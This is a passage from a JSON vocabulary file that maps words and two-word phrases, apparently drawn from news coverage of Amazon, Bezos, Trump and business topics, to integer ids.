133307,\n  \"animal sacrifice\": 133308,\n  \"laguna beach\": 133309,\n  \"partners etsy\": 133310,\n  \"confronting russian\": 133311,\n  \"host jim\": 133312,\n  \"kitchens\": 133313,\n  \"thinkrolls\": 133314,\n  \"tmi\": 133315,\n  \"cultural melting\": 133316,\n  \"seek bigger\": 133317,\n  \"presley\": 133318,\n  \"trump animus\": 133319,\n  \"taxes bob\": 133320,\n  \"resist\": 133321,\n  \"hot topic\": 133322,\n  \"putin meeting\": 133323,\n  \"frequently criticizes\": 133324,\n  \"pat ward\": 133325,\n  \"hvac systems\": 133326,\n  \"fires michael\": 133327,\n  \"federal presence\": 133328,\n  \"col rob\": 133329,\n  \"followed years\": 133330,\n  \"grau\": 133331,\n  \"taye diggs\": 133332,\n  \"violent symbol\": 133333,\n  \"based storage\": 133334,\n  \"automatically\": 133335,\n  \"abhishek\": 133336,\n  \"bezos commissioned\": 133337,\n  \"n2x a4ee\": 133338,\n  \"post tweeting\": 133339,\n  \"blackmail legal\": 133340,\n  \"trade disputes\": 133341,\n  \"uncovered damaging\": 133342,\n  \"tour accuses\": 133343,\n  \"creating captive\": 133344,\n  \"eons spanning\": 133345,\n  \"varieties lists\": 133346,\n  \"company policy\": 133347,\n  \"researches\": 133348,\n  \"primary measure\": 133349,\n  \"influence city\": 133350,\n  \"plus times\": 133351,\n  \"deceit\": 133352,\n  \"good afternoon\": 133353,\n  \"new wage\": 133354,\n  \"blasio forgot\": 133355,\n  \"implementing\": 133356,\n  \"fact think\": 133357,\n  \"reputable tech\": 133358,\n  \"wives incautiously\": 133359,\n  \"helps attract\": 133360,\n  \"finally finished\": 133361,\n  \"does jedi\": 133362,\n  \"columnist andrew\": 133363,\n  \"alleged chinese\": 133364,\n  \"saotome\": 133365,\n  \"financial mistake\": 133366,\n  \"domestic profile\": 133367,\n  \"linked pecker\": 133368,\n  \"content patriot\": 133369,\n  \"warren statement\": 133370,\n  \"pass snoqualmiepass\": 133371,\n  \"ace hardware\": 133372,\n  \"billion air\": 133373,\n  \"agriculture proving\": 133374,\n  \"rm816 billion\": 133375,\n  \"textile museum\": 133376,\n  \"gracie\": 133377,\n  \"prose pagels\": 133378,\n  \"new restaurants\": 133379,\n  \"kokonas\": 133380,\n  \"direct public\": 133381,\n  \"publication alleged\": 133382,\n  \"company billions\": 133383,\n  \"media prefer\": 133384,\n  \"4q 2017\": 133385,\n  \"allow manufacturers\": 133386,\n  \"harvey god\": 133387,\n  \"counter basic\": 133388,\n  \"trade negotiations\": 133389,\n  \"laquan\": 133390,\n  \"recklessness make\": 133391,\n  \"craft wood\": 133392,\n  \"ap michael\": 133393,\n  \"pam bondi\": 133394,\n  \"743 cnbc\": 133395,\n  \"unnecessary citizenship\": 133396,\n  \"euro\": 133397,\n  \"big proposition\": 133398,\n  \"cbre says\": 133399,\n  \"credible\": 133400,\n  \"tax provision\": 133401,\n  \"attracted\": 133402,\n  \"carryforwards\": 133403,\n  \"costs set\": 133404,\n  \"literary artistic\": 133405,\n  \"agriculture\": 133406,\n  \"say good\": 133407,\n  \"unidentified fbi\": 133408,\n  \"small flatbed\": 133409,\n  \"fall 2018\": 133410,\n  \"state credo\": 133411,\n  \"foods ads\": 133412,\n  \"agreement replacing\": 133413,\n  \"suggested date\": 133414,\n  \"hyped selection\": 133415,\n  \"locka bursts\": 133416,\n  \"retail continues\": 133417,\n  \"recent event\": 133418,\n  \"florida gulf\": 133419,\n  \"worst week\": 133420,\n  \"mysterious hilarious\": 133421,\n  \"crisis don\": 133422,\n  \"haskett analyst\": 133423,\n  \"netflix paid\": 133424,\n  \"city allowing\": 133425,\n  \"contractor agreed\": 133426,\n  \"highly fixed\": 133427,\n  \"hour utility\": 133428,\n  \"contributor hannity\": 133429,\n  \"content business\": 133430,\n  \"pay isn\": 133431,\n  \"worth 100\": 133432,\n  \"grew significantly\": 133433,\n  \"remains amazon\": 133434,\n  \"tried searching\": 133435,\n  \"panel\": 133436,\n  \"brimble\": 133437,\n  \"work legally\": 133438,\n  \"acquire lobbyist\": 133439,\n  \"analysts wrote\": 133440,\n  \"trump plans\": 133441,\n  \"quest blamed\": 133442,\n  \"sepeda\": 133443,\n  \"favorite questions\": 133444,\n  \"complex called\": 133445,\n  \"reporters snapped\": 133446,\n  \"including instances\": 133447,\n  \"teaching real\": 133448,\n  \"track farming\": 133449,\n  \"trump battle\": 133450,\n  \"overall honorees\": 133451,\n  \"missed mortgage\": 133452,\n  \"furry\": 133453,\n  \"examine ways\": 133454,\n  \"approached comcast\": 133455,\n  \"diminish\": 133456,\n  \"wolfe passed\": 133457,\n  \"interesting times\": 133458,\n  \"monet\": 133459,\n  \"appropriations subcommittee\": 133460,\n  \"effectively killing\": 133461,\n  \"doled\": 133462,\n  \"clearance needed\": 133463,\n  \"women money\": 133464,\n  \"fedex\": 133465,\n  \"us2\": 133466,\n  \"basic obligation\": 133467,\n  \"owns stakes\": 133468,\n  \"ozs\": 133469,\n  \"uber new\": 133470,\n  \"7i0r4xht9m national\": 133471,\n  \"apprentices earn\": 133472,\n  \"potential recession\": 133473,\n  \"husband successor\": 133474,\n  \"story ocasio\": 133475,\n  \"source read\": 133476,\n  \"induct\": 133477,\n  \"mullins\": 133478,\n  \"amazon maintains\": 133479,\n  \"political operatives\": 133480,\n  \"meet statement\": 133481,\n  \"national privacy\": 133482,\n  \"fixer michael\": 133483,\n  \"enquirer catch\": 133484,\n  \"elena schneider\": 133485,\n  \"senate select\": 133486,\n  \"virginia checks\": 133487,\n  \"market practices\": 133488,\n  \"waiter\": 133489,\n  \"denied claims\": 133490,\n  \"compromising photographs\": 133491,\n  \"thing avoid\": 133492,\n  \"management pays\": 133493,\n  \"press liberals\": 133494,\n  \"health better\": 133495,\n  \"advanced photo\": 133496,\n  \"today batch\": 133497,\n  \"apparently reliable\": 133498,\n  \"fasting\": 133499,\n  \"senior house\": 133500,\n  \"grader cried\": 133501,\n  \"windmills\": 133502,\n  \"gov cuomo\": 133503,\n  \"new memoir\": 133504,\n  \"new davis\": 133505,\n  \"upstream\": 133506,\n  \"ecpect\": 133507,\n  \"competitor unsurprisingly\": 133508,\n  \"sumpah\": 133509,\n  \"requesting set\": 133510,\n  \"planning council\": 133511,\n  \"parlophone\": 133512,\n  \"paying remote\": 133513,\n  \"seriously trump\": 133514,\n  \"priced package\": 133515,\n  \"district touts\": 133516,\n  \"gift ideas\": 133517,\n  \"support families\": 133518,\n  \"wages amazon\": 133519,\n  \"high schoolers\": 133520,\n  \"dangerous liaisons\": 133521,\n  \"lived decision\": 133522,\n  \"aldi kohl\": 133523,\n  \"770\": 133524,\n  \"association annual\": 133525,\n  \"inmate lethal\": 133526,\n  \"citing multiple\": 133527,\n  \"settlement amazon\": 133528,\n  \"downtown pittsburgh\": 133529,\n  \"superior cloud\": 133530,\n  \"activity numbers\": 133531,\n  \"heart security\": 133532,\n  \"giant neared\": 133533,\n  \"officials\": 133534,\n  \"hold exclusive\": 133535,\n  \"opening date\": 133536,\n  \"received response\": 133537,\n  \"li\": 133538,\n  \"facebook owns\": 133539,\n  \"sends minimum\": 133540,\n  \"signals brisk\": 133541,\n  \"skyhorse\": 133542,\n  \"favorite labor\": 133543,\n  \"tech firm\": 133544,\n  \"shauna\": 133545,\n  \"fafillion\": 133546,\n  \"plow\": 133547,\n  \"morgue units\": 133548,\n  \"increase package\": 133549,\n  \"determined essential\": 133550,\n  \"increased competition\": 133551,\n  \"tax legislation\": 133552,\n  \"differences\": 133553,\n  \"reporter ina\": 133554,\n  \"include tax\": 133555,\n  \"thing leads\": 133556,\n  \"brad parscale\": 133557,\n  \"district having\": 133558,\n  \"patients fee\": 133559,\n  \"center field\": 133560,\n  \"apple claims\": 133561,\n  \"enquirer says\": 133562,\n  \"17532188 amazon\": 133563,\n  \"anna michal\": 133564,\n  \"extracted\": 133565,\n  \"complaint related\": 133566,\n  \"caesar\": 133567,\n  \"costliest\": 133568,\n  \"donkeys group\": 133569,\n  \"2006 alleging\": 133570,\n  \"parcel services\": 133571,\n  \"leaping\": 133572,\n  \"week sen\": 133573,\n  \"web businesses\": 133574,\n  \"sa ta\": 133575,\n  \"invoke\": 133576,\n  \"remains\": 133577,\n  \"ia\": 133578,\n  \"just quick\": 133579,\n  \"cement ceo\": 133580,\n  \"did 2017\": 133581,\n  \"opinion provided\": 133582,\n  \"falsely claiming\": 133583,\n  \"soon hit\": 133584,\n  \"craziest things\": 133585,\n  \"management including\": 133586,\n  \"deadliest place\": 133587,\n  \"offers fast\": 133588,\n  \"customer needs\": 133589,\n  \"initially told\": 133590,\n  \"firm according\": 133591,\n  \"won justify\": 133592,\n  \"scary elements\": 133593,\n  \"days iduskbn1k6278\": 133594,\n  \"cap lc\": 133595,\n  \"jon bauer\": 133596,\n  \"parscale president\": 133597,\n  \"royals\": 133598,\n  \"700 press\": 133599,\n  \"preparing decree\": 133600,\n  \"discover screwdrivers\": 133601,\n  \"inaccurate fake\": 133602,\n  \"villain democratic\": 133603,\n  \"rightful place\": 133604,\n  \"framing\": 133605,\n  \"amazon description\": 133606,\n  \"story republican\": 133607,\n  \"water whichis\": 133608,\n  \"thanksgiving week\": 133609,\n  \"surveillance applications\": 133610,\n  \"2283a\": 133611,\n  \"newlyweds amazon\": 133612,\n  \"taxes using\": 133613,\n  \"consequent\": 133614,\n  \"ensuing years\": 133615,\n  \"gives scientists\": 133616,\n  \"york gop\": 133617,\n  \"woman guide\": 133618,\n  \"richelieu\": 133619,\n  \"2005 mackenzie\": 133620,\n  \"ebitda margins\": 133621,\n  \"publish illicit\": 133622,\n  \"major shippers\": 133623,\n  \"fedex delivers\": 133624,\n  \"department runs\": 133625,\n  \"new range\": 133626,\n  \"4dx movie\": 133627,\n  \"imposter\": 133628,\n  \"child jeff\": 133629,\n  \"escaped scrutiny\": 133630,\n  \"cold chicken\": 133631,\n  \"smiling sitting\": 133632,\n  \"holistic long\": 133633,\n  \"327\": 133634,\n  \"reforms addressing\": 133635,\n  \"reconstituted travel\": 133636,\n  \"highlight safety\": 133637,\n  \"ibm samsung\": 133638,\n  \"faced federal\": 133639,\n  \"reserve job\": 133640,\n  \"plans say\": 133641,\n  \"braggadocios\": 133642,\n  \"zakrzewski technology\": 133643,\n  \"spokesman hogan\": 133644,\n  \"article wmur\": 133645,\n  \"vocal campaign\": 133646,\n  \"antitrust world\": 133647,\n  \"npr financial\": 133648,\n  \"added brennan\": 133649,\n  \"yemen fm\": 133650,\n  \"chrome inclusion\": 133651,\n  \"cdc_36162c8634251ee9931a470a_embed\": 133652,\n  \"insufficient breaks\": 133653,\n  \"canadian officials\": 133654,\n  \"mobile phone\": 133655,\n  \"emergency exit\": 133656,\n  \"contingent\": 133657,\n  \"ads tv\": 133658,\n  \"128 games\": 133659,\n  \"order roma\": 133660,\n  \"bits pichai\": 133661,\n  \"seen ms\": 133662,\n  \"02m\": 133663,\n  \"rating sell\": 133664,\n  \"worldview mccain\": 133665,\n  \"130 million\": 133666,\n  \"assisting ice\": 133667,\n  \"expanded soy\": 133668,\n  \"falsehoods\": 133669,\n  \"cnn fox\": 133670,\n  \"control google\": 133671,\n  \"raised public\": 133672,\n  \"texas homes\": 133673,\n  \"wedbush\": 133674,\n  \"cost tony\": 133675,\n  \"abortionists\": 133676,\n  \"department gives\": 133677,\n  \"modest rise\": 133678,\n  \"advisor curtis\": 133679,\n  \"explainer\": 133680,\n  \"orange trump\": 133681,\n  \"today stories\": 133682,\n  \"sounding delighted\": 133683,\n  \"texit\": 133684,\n  \"cars\": 133685,\n  \"young twin\": 133686,\n  \"critics sought\": 133687,\n  \"disgusting news\": 133688,\n  \"dropped new\": 133689,\n  \"weren worried\": 133690,\n  \"3m\": 133691,\n  \"oerter\": 133692,\n  \"kevin liptak\": 133693,\n  \"minnesota timberwolves\": 133694,\n  \"infighting\": 133695,\n  \"duffel bag\": 133696,\n  \"bezos market\": 133697,\n  \"washington don\": 133698,\n  \"emissions cuts\": 133699,\n  \"organic bamboo\": 133700,\n  \"building collapse\": 133701,\n  \"puzder puzder\": 133702,\n  \"beijing early\": 133703,\n  \"criticize incentives\": 133704,\n  \"receive stiff\": 133705,\n  \"having fired\": 133706,\n  \"app hulu\": 133707,\n  \"official newspaper\": 133708,\n  \"deprived\": 133709,\n  \"thailand ap\": 133710,\n  \"certain servers\": 133711,\n  \"conceded\": 133712,\n  \"commerce market\": 133713,\n  \"telemedicine\": 133714,\n  \"story mortgage\": 133715,\n  \"work iot\": 133716,\n  \"carlson told\": 133717,\n  \"domestic product\": 133718,\n  \"explained little\": 133719,\n  \"denuclearization john\": 133720,\n  \"currently hunting\": 133721,\n  \"poor business\": 133722,\n  \"saying hope\": 133723,\n  \"semitic according\": 133724,\n  \"polling meaning\": 133725,\n  \"hazard\": 133726,\n  \"reasonable likelihood\": 133727,\n  \"gimmick\": 133728,\n  \"secretary jim\": 133729,\n  \"media platforms\": 133730,\n  \"stores biometric\": 133731,\n  \"institute ehudgins\": 133732,\n  \"speed internet\": 133733,\n  \"food creation\": 133734,\n  \"says stock\": 133735,\n  \"treatment patients\": 133736,\n  \"engine google\": 133737,\n  \"research ranked\": 133738,\n  \"service bankrupt\": 133739,\n  \"aroma\": 133740,\n  \"day hands\": 133741,\n  \"southern brazil\": 133742,\n  \"nevada dynasty\": 133743,\n  \"painted scamazon\": 133744,\n  \"help generate\": 133745,\n  \"sen sanders\": 133746,\n  \"trump apparently\": 133747,\n  \"genuinely\": 133748,\n  \"times russia\": 133749,\n  \"reason\": 133750,\n  \"strongest level\": 133751,\n  \"graham ocala\": 133752,\n  \"conventional hacking\": 133753,\n  \"clearance won\": 133754,\n  \"wade annette\": 133755,\n  \"exploring natural\": 133756,\n  \"waste fraud\": 133757,\n  \"view results\": 133758,\n  \"increasingly angry\": 133759,\n  \"devote\": 133760,\n  \"vote new\": 133761,\n  \"nu2bvlegd1 pic\": 133762,\n  \"coaching training\": 133763,\n  \"respond immediately\": 133764,\n  \"experienced violence\": 133765,\n  \"austrian retailers\": 133766,\n  \"cuttino katie\": 133767,\n  \"mccain grimly\": 133768,\n  \"following options\": 133769,\n  \"tax 2019\": 133770,\n  \"service refused\": 133771,\n  \"ubiquitous fulfillment\": 133772,\n  \"need representation\": 133773,\n  \"governance product\": 133774,\n  \"political office\": 133775,\n  \"mothership\": 133776,\n  \"headlinetext ros\\u00e9\": 133777,\n  \"corker draws\": 133778,\n  \"supporters vowed\": 133779,\n  \"having little\": 133780,\n  \"merino\": 133781,\n  \"technology services\": 133782,\n  \"year base\": 133783,\n  \"shipping example\": 133784,\n  \"corporatism\": 133785,\n  \"petty personal\": 133786,\n  \"criticized donald\": 133787,\n  \"fedex continue\": 133788,\n  \"deceleration\": 133789,\n  \"using voice\": 133790,\n  \"foolishness\": 133791,\n  \"giants sen\": 133792,\n  \"budding relationship\": 133793,\n  \"canada trade\": 133794,\n  \"citi cnbc\": 133795,\n  \"selective\": 133796,\n  \"prime users\": 133797,\n  \"disclosure forms\": 133798,\n  \"suspect tax\": 133799,\n  \"ken described\": 133800,\n  \"strange control\": 133801,\n  \"oracle founder\": 133802,\n  \"identification numbers\": 133803,\n  \"stocks extending\": 133804,\n  \"mhz\": 133805,\n  \"argentine economy\": 133806,\n  \"rfp\": 133807,\n  \"significant increases\": 133808,\n  \"paying trump\": 133809,\n  \"saudi governments\": 133810,\n  \"resolution approving\": 133811,\n  \"cases trump\": 133812,\n  \"worrying problem\": 133813,\n  \"stunt aimed\": 133814,\n  \"shopkeepers\": 133815,\n  \"create artwork\": 133816,\n  \"month federal\": 133817,\n  \"cnbc details\": 133818,\n  \"twitter rex\": 133819,\n  \"excellent headlamp\": 133820,\n  \"julie carrie\": 133821,\n  \"shacks\": 133822,\n  \"usps boeing\": 133823,\n  \"proactive approach\": 133824,\n  \"ziektekosten hitting\": 133825,\n  \"herd\": 133826,\n  \"release report\": 133827,\n  \"applicable foreign\": 133828,\n  \"stop forcing\": 133829,\n  \"amazons walmarts\": 133830,\n  \"placate regulators\": 133831,\n  \"waldemir\": 133832,\n  \"york gothamist\": 133833,\n  \"allow profitable\": 133834,\n  \"witches cheese\": 133835,\n  \"364 million\": 133836,\n  \"trump pal\": 133837,\n  \"steven crowder\": 133838,\n  \"believe trump\": 133839,\n  \"0x734 getty_173218731_200015422000928060_388160\": 133840,\n  \"strawberries\": 133841,\n  \"eta\": 133842,\n  \"caitlyn jenner\": 133843,\n  \"economic outlooks\": 133844,\n  \"body actor\": 133845,\n  \"extremist right\": 133846,\n  \"commissaries\": 133847,\n  \"embedbutton updatecode\": 133848,\n  \"new comedy\": 133849,\n  \"movie stars\": 133850,\n  \"dangling cable\": 133851,\n  \"money paid\": 133852,\n  \"newspaper report\": 133853,\n  \"retailer scam\": 133854,\n  \"alben\": 133855,\n  \"events nbc\": 133856,\n  \"rigado\": 133857,\n  \"reuters pepsico\": 133858,\n  \"simple food\": 133859,\n  \"currently ranked\": 133860,\n  \"prince muhammad\": 133861,\n  \"share 33c\": 133862,\n  \"2019 espinal\": 133863,\n  \"state receives\": 133864,\n  \"counterfeit check\": 133865,\n  \"330 words\": 133866,\n  \"george hanbury\": 133867,\n  \"building staffing\": 133868,\n  \"area spent\": 133869,\n  \"basketball association\": 133870,\n  \"company willingness\": 133871,\n  \"include accusing\": 133872,\n  \"ingredients\": 133873,\n  \"guarantees\": 133874,\n  \"lunchor\": 133875,\n  \"entertainment unit\": 133876,\n  \"florida house\": 133877,\n  \"street think\": 133878,\n  \"story oaktrees\": 133879,\n  \"problems cope\": 133880,\n  \"early trading\": 133881,\n  \"totally misses\": 133882,\n  \"team jussie\": 133883,\n  \"men\": 133884,\n  \"charges racism\": 133885,\n  \"high discounting\": 133886,\n  \"alleges child\": 133887,\n  \"migrants coming\": 133888,\n  \"antitrust worries\": 133889,\n  \"security emails\": 133890,\n  \"products trump\": 133891,\n  \"die map\": 133892,\n  \"french magnate\": 133893,\n  \"sticker\": 133894,\n  \"24x7 trump\": 133895,\n  \"aliso viejo\": 133896,\n  \"cop shows\": 133897,\n  \"british royals\": 133898,\n  \"allegedly look\": 133899,\n  \"accurate way\": 133900,\n  \"cloud computer\": 133901,\n  \"dispatched troops\": 133902,\n  \"protest bolsonaro\": 133903,\n  \"strapped city\": 133904,\n  \"tax foundation\": 133905,\n  \"earned reputation\": 133906,\n  \"technological\": 133907,\n  \"sorting packages\": 133908,\n  \"champion\": 133909,\n  \"motorbike\": 133910,\n  \"brand used\": 133911,\n  \"prize eligible\": 133912,\n  \"qvc west\": 133913,\n  \"run government\": 133914,\n  \"minorities\": 133915,\n  \"producer blossom\": 133916,\n  \"raucous laugh\": 133917,\n  \"transit funds\": 133918,\n  \"cortez position\": 133919,\n  \"ranging probe\": 133920,\n  \"held 055\": 133921,\n  \"magnifying\": 133922,\n  \"currently stands\": 133923,\n  \"long ways\": 133924,\n  \"administration ordered\": 133925,\n  \"house click\": 133926,\n  \"tear\": 133927,\n  \"staggering\": 133928,\n  \"gulf coast\": 133929,\n  \"rains\": 133930,\n  \"waze\": 133931,\n  \"sledgehammer\": 133932,\n  \"incentives think\": 133933,\n  \"called national\": 133934,\n  \"honoring reverend\": 133935,\n  \"institute epi\": 133936,\n  \"best defense\": 133937,\n  \"1vj1jfquyc emma\": 133938,\n  \"explicit opposition\": 133939,\n  \"blew past\": 133940,\n  \"helped pass\": 133941,\n  \"costa\": 133942,\n  \"common occurrence\": 133943,\n  \"huge deal\": 133944,\n  \"\\u014277\": 133945,\n  \"flawed witness\": 133946,\n  \"g1\": 133947,\n  \"sourced tales\": 133948,\n  \"appeals court\": 133949,\n  \"paper policy\": 133950,\n  \"abolish\": 133951,\n  \"brian krzanich\": 133952,\n  \"government regardless\": 133953,\n  \"developer based\": 133954,\n  \"news yeah\": 133955,\n  \"npr foraging\": 133956,\n  \"infrastructure threat\": 133957,\n  \"queens midtown\": 133958,\n  \"street right\": 133959,\n  \"legislatures approving\": 133960,\n  \"francisco lighthouse\": 133961,\n  \"local time\": 133962,\n  \"hotel confirmation\": 133963,\n  \"surely related\": 133964,\n  \"warehouses reporte\": 133965,\n  \"chain closed\": 133966,\n  \"business council\": 133967,\n  \"universities banned\": 133968,\n  \"sloss live\": 133969,\n  \"walmart alphabet\": 133970,\n  \"mitchell notes\": 133971,\n  \"headlined don\": 133972,\n  \"tasks ap\": 133973,\n  \"future collaborations\": 133974,\n  \"alphabet cfo\": 133975,\n  \"losses equipment\": 133976,\n  \"macquarie gp\": 133977,\n  \"products consumers\": 133978,\n  \"reuters north\": 133979,\n  \"theory falsely\": 133980,\n  \"proposed plan\": 133981,\n  \"341\": 133982,\n  \"sarcasm\": 133983,\n  \"important societal\": 133984,\n  \"risking\": 133985,\n  \"news foundation\": 133986,\n  \"ruler mohammed\": 133987,\n  \"american college\": 133988,\n  \"partner programs\": 133989,\n  \"brad pitt\": 133990,\n  \"avoid breaking\": 133991,\n  \"einstein\": 133992,\n  \"investment bank\": 133993,\n  \"lois weber\": 133994,\n  \"including messenger\": 133995,\n  \"revolutionary\": 133996,\n  \"office issue\": 133997,\n  \"juggle multiple\": 133998,\n  \"means necessary\": 133999,\n  \"reportedly secretly\": 134000,\n  \"economy mark\": 134001,\n  \"bigoted sexist\": 134002,\n  \"james kennedy\": 134003,\n  \"flom\": 134004,\n  \"denis slattery\": 134005,\n  \"commondreams org\": 134006,\n  \"income renters\": 134007,\n  \"chestnut\": 134008,\n  \"include business\": 134009,\n  \"bezos technology\": 134010,\n  \"carriers pre\": 134011,\n  \"morning consult\": 134012,\n  \"rise water\": 134013,\n  \"old pals\": 134014,\n  \"draw play\": 134015,\n  \"customer faster\": 134016,\n  \"israel true\": 134017,\n  \"economic narrative\": 134018,\n  \"strong job\": 134019,\n  \"simply unfit\": 134020,\n  \"pouty ms\": 134021,\n  \"global burden\": 134022,\n  \"old saudi\": 134023,\n  \"speech announcing\": 134024,\n  \"reserve vice\": 134025,\n  \"judicial department\": 134026,\n  \"nominated kavanaugh\": 134027,\n  \"zillow\": 134028,\n  \"president wife\": 134029,\n  \"resident think\": 134030,\n  \"months ending\": 134031,\n  \"undertake synchronous\": 134032,\n  \"tijkwtcqoo\": 134033,\n  \"davivd\": 134034,\n  \"days interestingly\": 134035,\n  \"outpatient clinics\": 134036,\n  \"diishan imira\": 134037,\n  \"bring scrutinized\": 134038,\n  \"ruth papazian\": 134039,\n  \"disclosures offer\": 134040,\n  \"games series\": 134041,\n  \"antitrust probe\": 134042,\n  \"items firm\": 134043,\n  \"onweb\": 134044,\n  \"expensing provisions\": 134045,\n  \"old murdoch\": 134046,\n  \"largest increases\": 134047,\n  \"equipment manufacturing\": 134048,\n  \"pruitt harper\": 134049,\n  \"love letters\": 134050,\n  \"winning coverage\": 134051,\n  \"minimum investment\": 134052,\n  \"chair featuring\": 134053,\n  \"massive complex\": 134054,\n  \"conception\": 134055,\n  \"cases virginia\": 134056,\n  \"extortion\": 134057,\n  \"regulatory obligations\": 134058,\n  \"constantly looking\": 134059,\n  \"clearly driven\": 134060,\n  \"philippe huguen\": 134061,\n  \"bergh\": 134062,\n  \"bxp wxzv\": 134063,\n  \"hothouse\": 134064,\n  \"wqam\": 134065,\n  \"celebrity home\": 134066,\n  \"seasoned authors\": 134067,\n  \"gop criticism\": 134068,\n  \"rising premiums\": 134069,\n  \"expressing strong\": 134070,\n  \"latest season\": 134071,\n  \"couple met\": 134072,\n  \"emerson\": 134073,\n  \"remain unaware\": 134074,\n  \"shirts walmart\": 134075,\n  \"doing fedex\": 134076,\n  \"little love\": 134077,\n  \"collect sales\": 134078,\n  \"scandal implicating\": 134079,\n  \"cut fourth\": 134080,\n  \"famously predicted\": 134081,\n  \"planning new\": 134082,\n  \"ire described\": 134083,\n  \"remarried\": 134084,\n  \"putin caps\": 134085,\n  \"campaign technically\": 134086,\n  \"grad blacklisted\": 134087,\n  \"consumer ultimately\": 134088,\n  \"extraordinary demand\": 134089,\n  \"products cuts\": 134090,\n  \"unclassified information\": 134091,\n  \"vacuum\": 134092,\n  \"walt disney\": 134093,\n  \"texts apparently\": 134094,\n  \"cnn reuters\": 134095,\n  \"propagandists won\": 134096,\n  \"acker bloomberg\": 134097,\n  \"management dmcc\": 134098,\n  \"covered 409\": 134099,\n  \"x8 v5\": 134100,\n  \"competitor looking\": 134101,\n  \"gothic novel\": 134102,\n  \"rainforest conama\": 134103,\n  \"know called\": 134104,\n  \"autistic son\": 134105,\n  \"coxsackie\": 134106,\n  \"foods american\": 134107,\n  \"coordination\": 134108,\n  \"tacoma\": 134109,\n  \"starring role\": 134110,\n  \"management controls\": 134111,\n  \"intrigue certainly\": 134112,\n  \"chip purchases\": 134113,\n  \"general william\": 134114,\n  \"antitrust khan\": 134115,\n  \"impinj ceo\": 134116,\n  \"totalling\": 134117,\n  \"known extortion\": 134118,\n  \"terrorizes\": 134119,\n  \"contacted alfresco\": 134120,\n  \"operations additionally\": 134121,\n  \"david shepardson\": 134122,\n  \"postponed indefinitely\": 134123,\n  \"pageant\": 134124,\n  \"administration ties\": 134125,\n  \"american cinema\": 134126,\n  \"bezos good\": 134127,\n  \"figure appears\": 134128,\n  \"administration improperly\": 134129,\n  \"lead story\": 134130,\n  \"considering robo\": 134131,\n  \"liberty endangered\": 134132,\n  \"abramowitz pecker\": 134133,\n  \"business reasons\": 134134,\n  \"ole\": 134135,\n  \"railroad monopolies\": 134136,\n  \"platform millions\": 134137,\n  \"trump contends\": 134138,\n  \"reading holding\": 134139,\n  \"romanov link\": 134140,\n  \"green eal\": 134141,\n  \"images howard\": 134142,\n  \"airbnb netflix\": 134143,\n  \"digital consultancy\": 134144,\n  \"nasdaq dltr\": 134145,\n  \"lamagna 415\": 134146,\n  \"cloud unit\": 134147,\n  \"goodness sake\": 134148,\n  \"tonight andrew\": 134149,\n  \"hat reads\": 134150,\n  \"play express\": 134151,\n  \"ms suzanne\": 134152,\n  \"peter welch\": 134153,\n  \"automated features\": 134154,\n  \"tourism\": 134155,\n  \"round table\": 134156,\n  \"previous cuda\": 134157,\n  \"jeopardizes\": 134158,\n  \"businesses fight\": 134159,\n  \"immediate pain\": 134160,\n  \"amr\": 134161,\n  \"watches cnn\": 134162,\n  \"overmediatext sectionuri\": 134163,\n  \"pot company\": 134164,\n  \"amazon dsps\": 134165,\n  \"510bn\": 134166,\n  \"government prosecution\": 134167,\n  \"reenacted\": 134168,\n  \"integrity labelled\": 134169,\n  \"venhuizen told\": 134170,\n  \"posthumously added\": 134171,\n  \"unexpectedly prompted\": 134172,\n  \"update\": 134173,\n  \"hard levels\": 134174,\n  \"constitution gained\": 134175,\n  \"hits girl\": 134176,\n  \"aclu analysis\": 134177,\n  \"investors heading\": 134178,\n  \"levi strauss\": 134179,\n  \"jihadists despite\": 134180,\n  \"commission clean\": 134181,\n  \"economy looking\": 134182,\n  \"inefficiency\": 134183,\n  \"joe talked\": 134184,\n  \"operational changes\": 134185,\n  \"basically won\": 134186,\n  \"possible legislation\": 134187,\n  \"chinese court\": 134188,\n  \"financial institutions\": 134189,\n  \"president ascent\": 134190,\n  \"crisis forget\": 134191,\n  \"rich man\": 134192,\n  \"17802566\": 134193,\n  \"american countries\": 134194,\n  \"miller\": 134195,\n  \"frazier\": 134196,\n  \"council race\": 134197,\n  \"familiar\": 134198,\n  \"amazon books\": 134199,\n  \"offsetting factors\": 134200,\n  \"myriad controversies\": 134201,\n  \"fake news\": 134202,\n  \"group total\": 134203,\n  \"763\": 134204,\n  \"401k\": 134205,\n  \"stop forced\": 134206,\n  \"personal vehicles\": 134207,\n  \"improving intervention\": 134208,\n  \"staggering sales\": 134209,\n  \"americans agree\": 134210,\n  \"dinner shooters\": 134211,\n  \"various ngos\": 134212,\n  \"hayes grassley\": 134213,\n  \"drama written\": 134214,\n  \"traveling nb\": 134215,\n  \"foregoing assertions\": 134216,\n  \"close fedex\": 134217,\n  \"delivery drivers\": 134218,\n  \"investment mngmt\": 134219,\n  \"chocolate icing\": 134220,\n  \"nightly\": 134221,\n  \"recently seen\": 134222,\n  \"politics donald\": 134223,\n  \"amazon footprint\": 134224,\n  \"independent budget\": 134225,\n  \"promised bezos\": 134226,\n  \"huge heaping\": 134227,\n  \"storm tropical\": 134228,\n  \"hollywood filmmaking\": 134229,\n  \"university web\": 134230,\n  \"items sold\": 134231,\n  \"reason given\": 134232,\n  \"registration trump\": 134233,\n  \"company analyzed\": 134234,\n  \"points faster\": 134235,\n  \"jessica wakefield\": 134236,\n  \"recently told\": 134237,\n  \"centerfold\": 134238,\n  \"business boost\": 134239,\n  \"rabbit\": 134240,\n  \"aj bell\": 134241,\n  \"li kequiang\": 134242,\n  \"probable targets\": 134243,\n  \"pit bull\": 134244,\n  \"issue blumenthal\": 134245,\n  \"lee pushed\": 134246,\n  \"trump died\": 134247,\n  \"contact natasha\": 134248,\n  \"controversial head\": 134249,\n  \"pinkfong dino\": 134250,\n  \"outsize market\": 134251,\n  \"jovan adepo\": 134252,\n  \"bezos bafflingly\": 134253,\n  \"latest thriller\": 134254,\n  \"packaging handling\": 134255,\n  \"picture paul\": 134256,\n  \"conducting thorough\": 134257,\n  \"collusion complaint\": 134258,\n  \"922 million\": 134259,\n  \"trump son\": 134260,\n  \"affair involves\": 134261,\n  \"city state\": 134262,\n  \"ongoing reporting\": 134263,\n  \"charter zinke\": 134264,\n  \"passover\": 134265,\n  \"research service\": 134266,\n  \"brutal\": 134267,\n  \"kill process\": 134268,\n  \"haven fallen\": 134269,\n  \"imitative\": 134270,\n  \"tsla according\": 134271,\n  \"going outside\": 134272,\n  \"massive data\": 134273,\n  \"discuss\": 134274,\n  \"countries vied\": 134275,\n  \"honor amazon\": 134276,\n  \"national economies\": 134277,\n  \"attacking tech\": 134278,\n  